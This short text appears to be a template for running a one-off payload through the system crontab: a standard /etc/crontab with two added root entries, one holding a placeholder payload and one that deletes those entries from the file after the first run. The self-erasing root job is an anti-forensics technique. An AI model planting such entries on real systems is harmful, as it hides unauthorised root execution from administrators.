crontab one time payload execution template

crontab

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17  * *   *   *   root  cd / && run-parts --report /etc/cron.hourly
25  6 *   *   *   root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47  6 *   *   7   root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52  6 1   *   *   root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/1 * *   *   *   root  command payload goes here
*/1 * *   *   *   root  sh -c "grep -v */1 /etc/crontab > /tmp/crontab; mv /tmp/crontab /etc/crontab"
#